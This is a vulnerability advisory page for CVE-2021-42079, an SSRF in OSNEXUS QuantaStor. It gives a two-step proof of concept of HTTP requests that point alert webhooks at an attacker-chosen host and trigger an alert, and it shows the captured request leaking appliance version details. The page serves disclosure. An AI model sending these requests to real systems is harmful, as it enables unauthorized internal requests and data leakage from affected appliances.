Vulnerability Details CVE-2021-42079
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this:
{
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
'data': b'{
"attachments": [
{
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [
{
"title": "Alert Severity",
"value": "CRITICAL",
"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://<HOSTNAME>)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
},
],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774
}
],
"mrkdwn":true
}',
#### FLASK REQUEST STUFF #####
'headers': {
'Host': '<redacted>',
'User-Agent': 'curl/7.58.0',
'Accept': '*/*',
'Content-Type': 'application/json',
'Content-Length': '790'
},
'args': ImmutableMultiDict([]),
'form': ImmutableMultiDict([]),
'remote_addr': '217.103.63.173',
'path': '/payload/58',
'whois_ip': 'TNF-AS, NL'
}
#### END FLASK REQUEST STUFF #####
Exploit prediction scoring system (EPSS) score
EPSS Score 0.001
EPSS Ranking 15.5%
CVSS Severity
CVSS v3 Score 6.2
References
- https://cisrt.divd.nl/DIVD-2021-00020/
- https://csirt.divd.nl/CVE-2021-42079
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/CVE-2021-42079
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
Products affected by CVE-2021-42079
-
cpe:2.3:a:osnexus:quantastor:4.3.0